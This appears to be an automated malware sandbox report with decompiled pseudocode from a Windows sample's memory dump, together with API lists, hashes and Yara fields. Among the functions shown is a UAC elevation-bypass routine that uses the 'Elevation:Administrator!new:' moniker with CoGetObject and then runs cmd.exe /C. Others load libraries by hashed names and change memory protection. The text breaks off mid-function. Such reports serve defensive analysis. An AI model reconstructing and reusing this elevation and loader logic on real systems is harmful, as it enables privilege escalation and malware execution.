
C-Code - Quality: 87%

			E00407AB9(void* __eflags) {
				signed int _t62;
				signed int _t69;
				void* _t91;

				_push(ds);
				if(__eflags < 0) {
					while(1) {
						 *(_t91 - 4) = LocalAlloc(0, ??);
						_t62 = GetTokenInformation( *(_t91 - 8), 0x19,  *(_t91 - 4),  *(_t91 - 0xc), _t91 - 0xc); // executed
						__eflags = _t62;
						if(_t62 == 0) {
							break;
						}
						 *(_t91 - 0x10) =  *(GetSidSubAuthority( *( *(_t91 - 4)), ( *(GetSidSubAuthorityCount( *( *(_t91 - 4)))) & 0x000000ff) - 0x00000001 & 0x000000ff));
						 *(_t91 - 0x14) =  *(_t91 - 0x10);
						if(0 != 0) {
							_t69 = OpenProcessToken(0xffffffff, 8, _t91 - 8);
							__eflags = _t69;
							if(_t69 != 0) {
								GetTokenInformation( *(_t91 - 8), 0x19, 0, 0, _t91 - 0xc); // executed
								_push( *(_t91 - 0xc));
								continue;
							} else {
							}
						} else {
						}
						L3:
						if( *(_t91 - 8) != 0) {
							FindCloseChangeNotification( *(_t91 - 8)); // executed
						}
						if( *(_t91 - 4) != 0) {
							LocalFree( *(_t91 - 4));
						}
						return  *(_t91 - 0x14);
						goto L47;
					}
					goto L3;
				} else {
					_push(ss);
					while(1) {
						__eax =  *(__ebp - 0x10);
						 *(__ebp - 0x2c) =  *(__ebp - 0x10);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						__eflags =  *(__ebp - 0x2c);
						if( *(__ebp - 0x2c) <= 0) {
							break;
						}
						__ecx = __ebp - 0x88;
						__eax = E004055B9(__ebp - 0x88);
						 *(__ebp - 5) = __al;
						__edx =  *(__ebp - 0x18);
						__al =  *(__ebp - 5);
						 *( *(__ebp - 0x18)) = __al;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						__edx =  *(__ebp - 5) & 0x000000ff;
						__eflags = ( *(__ebp - 5) & 0x000000ff) - 0x7f;
						if(( *(__ebp - 5) & 0x000000ff) > 0x7f) {
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
						}
					}
					__eflags =  *(__ebp - 0x28);
					if( *(__ebp - 0x28) != 0) {
						__ecx = 1;
						__edx = 0;
						__eax =  *0x46c42c; // 0x0
						__ecx =  *__eax & 0x000000ff;
						__eflags = ( *__eax & 0x000000ff) - 0x4d;
						if(( *__eax & 0x000000ff) != 0x4d) {
							goto L9;
						} else {
							1 = 1 << 0;
							__eax =  *0x46c42c; // 0x0
							__ecx =  *(__eax + (1 << 0)) & 0x000000ff;
							__eflags = ( *(__eax + (1 << 0)) & 0x000000ff) - 0x5a;
							if(( *(__eax + (1 << 0)) & 0x000000ff) != 0x5a) {
								goto L9;
							} else {
								__eflags =  *0x46c420 - 2;
								if( *0x46c420 == 2) {
									goto L9;
								} else {
									__eax = 0;
								}
							}
						}
					} else {
						__eflags =  *0x46c420 - 1;
						if( *0x46c420 == 1) {
							L9:
							__edx =  *(__ebp - 0x18);
							 *0x46c430 =  *(__ebp - 0x18);
							while(1) {
								__eax =  *(__ebp - 4);
								 *(__ebp - 0x30) =  *(__ebp - 4);
								__ecx =  *(__ebp - 4);
								__ecx =  *(__ebp - 4) - 1;
								 *(__ebp - 4) = __ecx;
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) <= 0) {
									break;
								}
								__ecx = __ebp - 0x88;
								E004055B9(__ebp - 0x88) = E0040B8C1(__eax);
								__edx =  *0x46c330; // 0x0
								__edx = __edx & 0x0003ffff;
								__eflags = __edx;
								if(__edx == 0) {
									__eflags =  *0x46c420 - 1;
									if( *0x46c420 == 1) {
										__eflags =  *0x46c330 - 0x480000;
										if( *0x46c330 != 0x480000) {
											L44:
											__eflags =  *0x46c330 - 0x100000;
											if( *0x46c330 != 0x100000) {
												L34:
												__eflags =  *0x463778 - 0xe;
												if( *0x463778 == 0xe) {
													goto L40;
												}
											} else {
												__eflags =  *0x463778 - 0xf;
												if( *0x463778 == 0xf) {
													goto L40;
												} else {
													goto L34;
												}
											}
										} else {
											__eflags =  *0x463778 - 0x10;
											if( *0x463778 == 0x10) {
												L40:
												__eax =  *0x463778; // 0xe
												 *0x463778 = __eax;
												 *(__ebp - 0x14) = 0;
												while(1) {
													__eflags =  *(__ebp - 0x14) - 0x2800;
													if( *(__ebp - 0x14) >= 0x2800) {
														goto L43;
													}
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													__ecx =  *(__eax + __edx * 4);
													__ecx =  *(__eax + __edx * 4) << 1;
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													 *(__eax +  *(__ebp - 0x14) * 4) = __ecx;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
												}
											} else {
												goto L44;
											}
										}
									}
								}
								L43:
							}
							__eax = E0040C187(__ecx);
							__ecx = __ebp - 0x3c;
							__eax = E0040DCF9(__ebp - 0x3c);
							__ecx =  *(__ebp - 0x34);
							__eax = E0040CE09( *(__ebp - 0x34), __eax);
							__eflags = __eax -  *((intOrPtr*)(__ebp - 0xc));
							if(__eax ==  *((intOrPtr*)(__ebp - 0xc))) {
								__ecx = __ebp - 0x3c;
								__eax = E0040DCF9(__ebp - 0x3c);
								__edx =  *(__ebp + 0x10);
								 *( *(__ebp + 0x10)) = __eax;
								__eax =  *(__ebp - 0x34);
							} else {
								__eax = 0;
							}
						} else {
							__eax = 0;
						}
					}
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				L47:
			}

0x00407abb
0x00407abc
0x00407a69
0x00407a71
0x00407a86
0x00407a8c
0x00407a8e
0x00000000
0x00000000
0x00401060
0x00401066
0x0040106b
0x00409c94
0x00409c9a
0x00409c9c
0x00407a5f
0x00407a68
0x00000000
0x00000000
0x00409ca2
0x00000000
0x00401071
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00000000
0x00402955
0x00000000
0x00407abe
0x00407abe
0x00407abf
0x00407abf
0x00407ac2
0x00407ac8
0x00407acb
0x00407ace
0x00407ad2
0x00000000
0x00000000
0x00407ad8
0x00407ade
0x00407ae3
0x00407ae6
0x00407ae9
0x00407aec
0x00407af1
0x00407af4
0x00407af7
0x00407afb
0x00407afe
0x00407b07
0x00407b0a
0x00407b0a
0x004059ea
0x00408020
0x00408024
0x00401ea5
0x00401eaa
0x00401ead
0x00401eb2
0x00401eb6
0x00401eb9
0x00000000
0x00401ebf
0x00401ec4
0x00401ec7
0x00401ecc
0x00401ed0
0x00401ed3
0x00000000
0x00401ed9
0x00401ed9
0x00401ee0
0x00000000
0x00401ee6
0x00401ee6
0x00401ee6
0x00401ee0
0x00401ed3
0x0040802a
0x0040802a
0x00408031
0x00402035
0x00402035
0x00402038
0x004045e8
0x004045e8
0x004045eb
0x004045ee
0x004045f1
0x004045f4
0x004045f7
0x004045fb
0x00000000
0x00000000
0x00404601
0x0040460d
0x00404615
0x0040461b
0x0040461b
0x00404621
0x00404627
0x0040462e
0x00404634
0x0040463e
0x0040cc1b
0x0040cc1b
0x0040cc25
0x0040997f
0x0040997f
0x00409986
0x00000000
0x0040998c
0x0040cc2b
0x0040cc2b
0x0040cc32
0x00000000
0x0040cc38
0x00000000
0x0040cc38
0x0040cc32
0x00404644
0x00404644
0x0040464b
0x00409ca7
0x00409ca7
0x00409caf
0x00409cb4
0x0040a391
0x0040a391
0x0040a398
0x00000000
0x00000000
0x0040a39e
0x0040a3a1
0x0040a3a6
0x0040a3a9
0x0040a3ab
0x0040a3ae
0x0040a3b3
0x00405c82
0x00405c85
0x00405c85
0x00404651
0x00000000
0x00404651
0x0040464b
0x0040463e
0x0040462e
0x0040b344
0x0040b344
0x00409bce
0x00409bd3
0x00409bd6
0x00409bdc
0x00409be0
0x00409be8
0x00409beb
0x004024fe
0x00402501
0x00402506
0x00402509
0x0040250b
0x00409bf1
0x00409bf1
0x00409bf1
0x00408037
0x00408037
0x00408037
0x00408031
0x00403d6f
0x00403d71
0x00403d72
0x00403d72
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00409727(void* __ecx, signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				signed char _t19;
				void* _t27;
				signed int* _t34;

				_t34 = __edx;
				_v8 = 0x80004005;
				if(_a4 == 0) {
					return _v8;
				}
				_t19 = E00405C31(__ecx, _a4);
				if(_t19 <= 0x40) {
					 *_t34 =  *_t34 | _t19;
					 *_t19 =  *_t19 + _t19;
					E0040335C( &_v564);
					E00408BFE( &_v564,  &_v564, L"Elevation:Administrator!new:");
					E0040B160( &_v564, _a4);
					E0040335C( &_v564,  &_v44, 0x24);
					_v44 = 0x24;
					_v24 = _a8;
					_t27 =  *0x413080( &_v564,  &_v44, _a12, _a16,  &_v564, 0x208); // executed
					return _t27;
				}
				return _v8;
			}

0x00409727
0x00409730
0x0040973b
0x00000000
0x00409741
0x0040210a
0x00402115
0x0040d183
0x0040d185
0x0040d18e
0x0040d1a2
0x0040d1b5
0x0040d1c3
0x0040d1cb
0x0040d1d5
0x0040d1eb
0x00000000
0x0040d1eb
0x00000000

Strings

$, xrefs: 0040D1CB
Elevation:Administrator!new:, xrefs: 0040D196

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0040D17F(void* __eax, void* __edx, void* __eflags) {
				void* _t13;

				_t13 = __eax;
				asm("scasd");
				asm("movsb");
				if (__eflags < 0) goto L4;
				 *__edx =  *__edx | __al;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				__ecx = __ebp - 0x230;
				__eax = E0040335C(__ecx);
				__esp = __esp + 8;
				__edx = __ebp - 0x230;
				E00408BFE(__ecx, __ebp - 0x230, L"Elevation:Administrator!new:") =  *((intOrPtr*)(__ebp + 8));
				__ecx = __ebp - 0x230;
				__eax = E0040B160(__ebp - 0x230,  *((intOrPtr*)(__ebp + 8)));
				__edx = __ebp - 0x28;
				__eax = E0040335C(__ecx, __ebp - 0x28, 0x24);
				 *(__ebp - 0x28) = 0x24;
				__eax =  *((intOrPtr*)(__ebp + 0xc));
				 *((intOrPtr*)(__ebp - 0x14)) =  *((intOrPtr*)(__ebp + 0xc));
				__ecx =  *((intOrPtr*)(__ebp + 0x14));
				__edx =  *(__ebp + 0x10);
				__eax = __ebp - 0x28;
				__ecx = __ebp - 0x230;
				_t13 =  *0x413080(__ebp - 0x230, __ebp - 0x28,  *(__ebp + 0x10),  *((intOrPtr*)(__ebp + 0x14)), __ecx, 0x208); // executed
				return _t13;
			}

0x0040d17f
0x0040d17f
0x0040d180
0x0040d181
0x0040d183
0x0040d185
0x0040d185
0x0040d187
0x0040d18e
0x0040d193
0x0040d19b
0x0040d1aa
0x0040d1ae
0x0040d1b5
0x0040d1bf
0x0040d1c3
0x0040d1cb
0x0040d1d2
0x0040d1d5
0x0040d1d8
0x0040d1dc
0x0040d1e0
0x0040d1e4
0x0040d1eb
0x00404ba0

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

$, xrefs: 0040D1CB
Elevation:Administrator!new:, xrefs: 0040D196

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004063CE() {
				void* _t11;
				void* _t15;
				void* _t16;
				void* _t17;

				_push(ds);
				__eax = E00405C4C(); // executed
				if(__eax >= 0x2000) {
					E00405D04(_t11, _t15, _t16, _t17 - 0x624, 0); // executed
				} else {
					E0040335C(__ebp - 0x20c, __ebp - 0x20c, 0x20a) = E00405312(L"%systemroot%\\system32\\cmd.exe", __ebp - 0x20c, 0x104);
					__ebp - 0x418 = E00408BFE(__ecx, __ebp - 0x418, L"/C ");
					__ecx = __ebp - 0x624;
					E0040B160(__ebp - 0x418, __ebp - 0x624) = __ebp - 0x418;
					__ecx = __ebp - 0x20c;
					__eax = E00405D04(__ebx, __edi, __esi, __ebp - 0x20c, __ebp - 0x418);
				}
				ExitProcess(0);
			}

0x004063ce
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x00406407
0x0040641b
0x00406423
0x00406439
0x00406440
0x00406447
0x0040644c
0x0040a945

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

/C , xrefs: 0040640F
%systemroot%\system32\cmd.exe, xrefs: 00406402

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 004069BB Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E004069BB(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* __ebp;
				void* _t11;
				struct HINSTANCE__* _t13;

				_t18 = __eflags;
				E00404B1D(__eflags, 0x8b6df01f, _a4);
				_t11 = E00404B1D(_t18, 0xf1b4b0, _a4);
				while(1) {
					asm("lodsd");
					if(_t11 == 0) {
						break;
					}
					_t13 = LoadLibraryA(_t11 + _a4); // executed
					if(_t13 == 0) {
						asm("int3");
						_t4 = __ebp + 0x56487685 + __ecx * 4;
						 *_t4 =  *((intOrPtr*)(__ebp + 0x56487685 + __ecx * 4)) + __ah;
						__eflags =  *_t4;
					}
					asm("lodsd");
					_t11 = E00404873(_t13, _t13);
					asm("stosd");
				}
				return _t11;
			}

0x004069bb
0x004069c9
0x004069d8
0x0040a530
0x0040a530
0x0040a534
0x00000000
0x00000000
0x0040a53e
0x0040a547
0x0040a54d
0x0040a552
0x0040a552
0x0040a552
0x0040a552
0x0040beb0
0x0040beb3
0x0040beb8
0x0040beb8
0x00402b55

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction ID: df007bf62870af7b74df0dbbe881ec21055e906183b30cdd37e1bfed71aa1605
Opcode Fuzzy Hash: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction Fuzzy Hash: 6FE0EC631002087AD7102995DC46FE7765DD7C83A9F508432F705E61D1D63DD95092AE

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00401352(intOrPtr _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				void* _v4;
				long _v8;
				intOrPtr _v12;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t25;
				void* _t32;

				_pop(_t26);
				asm("sbb dword [eax+ebp*8], 0xaee35f9e");
				asm("adc dl, [ss:ebp-0x1374aa86]");
				_push(_t17);
				_v12 = E00404873(E00403D7B(_t17, _t24, _t25), 0x30dbca36);
				_t15 = E00404B1D(_t32, _a8, _a12);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v4 = _t18;
				_v8 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v4, _v8, _a16, _a20);
			}

0x00401352
0x00401353
0x0040135a
0x00401364
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040A554 Relevance: 1.5, APIs: 1, Instructions: 28
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0040A554(void* __edx) {
				signed int _t285;
				intOrPtr _t289;
				signed int _t291;
				signed int _t294;
				signed int _t297;
				intOrPtr _t300;
				signed int _t322;
				intOrPtr _t381;
				signed int _t382;
				unsigned int _t386;
				signed int _t388;
				signed int _t392;
				signed int _t409;
				signed int _t467;
				signed int _t470;
				signed int _t477;
				signed int _t480;
				signed int _t485;
				signed int _t497;
				signed int _t501;
				signed int _t511;
				void* _t525;

				asm("loop 0xffffffdc");
				asm("adc eax, 0x7485c725");
				 *(__ebp - 0x8c) = 0;
				asm("invalid");
				__edx =  *(__ebp - 0x8c);
				 *(__ebp - 0x40) =  *(__ebp - 0x8c);
				if( *(__ebp - 0x40) == 0) {
					 *(__ebp - 0x7c) =  *(__ebp - 0x7c) + 1;
					 *(__ebp - 0x90) =  *(__ebp - 0x7c) + 1;
					__ecx =  *(__ebp - 4);
					__edx =  *(__ebp - 0x90);
					 *( *(__ebp - 4) + 0x34) =  *(__ebp - 0x90);
					__eax =  *(__ebp - 0x90);
					 *(__ebp - 0xe0) =  *(__ebp - 0x90);
				} else {
					__eax =  *(__ebp - 4);
					__ecx =  *(__ebp - 0x7c);
					 *( *(__ebp - 4) + 0x38) =  *(__ebp - 0x7c);
					__edx =  *(__ebp - 0x7c);
					 *(__ebp - 0xe0) =  *(__ebp - 0x7c);
				}
				 *(__ebp - 0x40) =  *(__ebp - 0x40) << 0x14;
				 *0x46c328 =  *(__ebp - 0x40) << 0x14;
				 *0x463730 = 0;
				__edx =  *(__ebp - 4);
				 *((intOrPtr*)(__edx + 0x44)) =  *((intOrPtr*)(__edx + 0x44)) + 0x140;
				__ecx =  *(__ebp - 4);
				 *((intOrPtr*)( *(__ebp - 4) + 0x44)) =  *((intOrPtr*)(__edx + 0x44)) + 0x140;
				__edx = 1;
				0 = 0x4102c8;
				 *(__ebp - 0x20) = 0x4102c8;
				if( *(__ebp - 0x40) != 0) {
					 *(__ebp - 0x20) =  *(__ebp - 0x20) + 0x500;
					 *(__ebp - 0x20) =  *(__ebp - 0x20) + 0x500;
				}
				__edx =  *(__ebp - 0x40);
				__eax = 4 + __edx * 4;
				 *(__ebp - 0x54) = 4 + __edx * 4;
				__ecx = 4;
				__edx =  *0x01019F3D;
				__eax =  *( *0x01019F3D) & 0x000000ff;
				__ecx = 4;
				__edx =  *0x01019F3D;
				__ecx =  *(__ebp - 0x20);
				 *( *0x01019F3D) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x01019F3D) & 0x000000ff)));
				__ecx = 4;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				4 = 4 << 0;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				__ecx = 4;
				__edx =  *0x01019F3D;
				__eax =  *( *0x01019F3D) & 0x000000ff;
				__ecx = 4;
				__edx =  *0x01019F3D;
				__ecx =  *(__ebp - 0x20);
				 *( *0x01019F3D) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x01019F3D) & 0x000000ff) + 0x100));
				__ecx = 4;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				4 = 4 << 1;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				__ecx = 4;
				__edx = 0xc;
				__eax =  *0x0046C39C;
				__ecx =  *( *0x0046C39C) & 0x000000ff;
				__edx = 4;
				__eax = 0xc;
				__edx =  *0x0046C39C;
				__eax =  *(__ebp - 0x20);
				 *( *0x0046C39C) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x0046C39C) & 0x000000ff) + 0x200));
				__edx = 4;
				__eax = 0xc;
				 *0x0046C39C =  *0x0046C39C +  *(__ebp - 0x54);
				__edx = 4;
				__eax = 0xc;
				 *0x0046C39C =  *0x0046C39C +  *(__ebp - 0x54);
				__ecx = 4;
				__edx =  *0x01019F3D;
				__eax =  *( *0x01019F3D) & 0x000000ff;
				__ecx = 4;
				__edx =  *0x01019F3D;
				__ecx =  *(__ebp - 0x20);
				 *( *0x01019F3D) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x01019F3D) & 0x000000ff)));
				__ecx = 4;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				4 = 4 << 2;
				 *0x01019F3D =  *0x01019F3D +  *(__ebp - 0x54);
				__ecx = 4;
				__edx = 0x14;
				__eax =  *0x0046C3A4;
				__ecx =  *( *0x0046C3A4) & 0x000000ff;
				__edx = 4;
				__eax = 0x14;
				__edx =  *0x0046C3A4;
				__eax =  *(__ebp - 0x20);
				 *( *0x0046C3A4) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x0046C3A4) & 0x000000ff) + 0x100));
				__edx = 4;
				__eax = 0x14;
				 *0x0046C3A4 =  *0x0046C3A4 +  *(__ebp - 0x54);
				__edx = 4;
				__eax = 0x14;
				 *0x0046C3A4 =  *0x0046C3A4 +  *(__ebp - 0x54);
				__ecx = 4;
				__eax =  *0x0046C390;
				__ecx =  *( *0x0046C390) & 0x000000ff;
				__edx = 4;
				__edx =  *0x0046C390;
				__eax =  *(__ebp - 0x20);
				 *( *0x0046C390) =  *((intOrPtr*)( *(__ebp - 0x20) + ( *( *0x0046C390) & 0x000000ff) + 0x100));
				__edx =  *0x46372c; // 0x1
				__edx = __edx +  *(__ebp - 0x40);
				 *0x46372c = __edx;
				__eax =  *(__ebp - 0x40);
				__ecx =  *(__ebp - 4);
				__eax = E00405061( *(__ebp - 4),  *(__ebp - 0x40));
				__ecx =  *(__ebp - 4);
				 *( *(__ebp - 4) + 0x40) = __eax;
				while(1) {
					__edx =  *(__ebp - 4);
					__eax =  *(__ebp - 4);
					 *(__edx + 0x34) =  *(__edx + 0x34) ^  *(__eax + 0x38);
					__ecx = ( *(__edx + 0x34) ^  *(__eax + 0x38)) & 0xff000000;
					if((( *(__edx + 0x34) ^  *(__eax + 0x38)) & 0xff000000) != 0) {
						break;
					}
					__edx =  *(__ebp - 4);
					__esi =  *(__edx + 0x3c);
					__esi =  *(__edx + 0x3c) << 8;
					__eax =  *(__ebp - 4);
					__ecx =  *( *(__ebp - 4) + 0x30);
					__eax = E00406DDF( *( *(__ebp - 4) + 0x30));
					__esi = __esi + __eax;
					__ecx =  *(__ebp - 4);
					 *( *(__ebp - 4) + 0x3c) = __esi;
					__edx =  *(__ebp - 4);
					 *(__edx + 0x34) =  *(__edx + 0x34) << 8;
					__ecx =  *(__ebp - 4);
					 *( *(__ebp - 4) + 0x34) =  *(__edx + 0x34) << 8;
					__edx =  *(__ebp - 4);
					 *(__edx + 0x38) =  *(__edx + 0x38) << 8;
					__eax = ( *(__edx + 0x38) << 8) + 0xff;
					__ecx =  *(__ebp - 4);
